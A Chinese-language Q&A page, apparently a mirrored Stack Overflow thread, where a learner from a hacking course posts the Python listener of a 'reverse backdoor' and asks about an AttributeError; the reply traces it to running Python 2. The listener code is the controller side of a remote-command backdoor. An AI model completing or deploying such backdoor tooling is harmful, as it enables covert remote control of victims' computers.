AttributeError:“内置函数”或“方法”对象没有“拆分”反向门属性

2024-05-15 12:41:36 发布

您现在位置:Python中文网/ 问答频道 /正文

我正在用Zaid的Udemy course做一个反向后门 不知怎的,我遇到了这个错误,Erorr image 请告诉我如何解决这个问题

问候,, 雅利安病毒

后门的代码

import socket , json


class Listner:
    def __init__(self,ip,port):
        listner = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listner.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        listner.bind((ip,port))
        print("[+] Waiting for incoming connections")
        listner.listen(0)
        self.connection ,address = listner.accept()
        print("[+] Got a connection form" + str(address))
  
    def reliable_send(self,data):
        json_data = json.dumps(data)
        self.connection.send(json_data.encode('utf-8')) 

    def reliable_recv(self):
        json_data = ""
        while True:
            try: 
                json_data = json_data + self.connection.recv(1024)
                return json.loads(json_data)
            except ValueError:
                continue

    def execute_remote(self,command):
        self.reliable_send(command)
        if command[0] == "exit":
            self.connection.close()
            exit()
        
        return self.reliable_recv()
 
    def run(self):
        while True:
            command = input(">> ")
            command = command.split(" ")
            result = self.execute_remote(command)
            print(result)

mylistner = Listner("172.21.38.172",4444)
mylistner.run()

Tags: selfipsendjsondatadefsocketconnection
1条回答
网友
1楼 · 发布于 2024-05-15 12:41:36

Old Python version (2)? – Klaus D.

i am using python 3 – aryan vir

克劳斯是对的;你错了。将dir输入command后,command.split(" ")

AttributeError: 'builtin_function_or_method' object has no attribute 'split'

明确指出您使用的是Python 2,其中^{}相当于eval(raw_input())您可以使用验证版本2

import sys
print sys.version

在Python2中编写dir.split(" ")时会出现相同的错误

如果要继续使用Python 2,可以使用^{}或引用所有输入字符串

相关问题 更多 >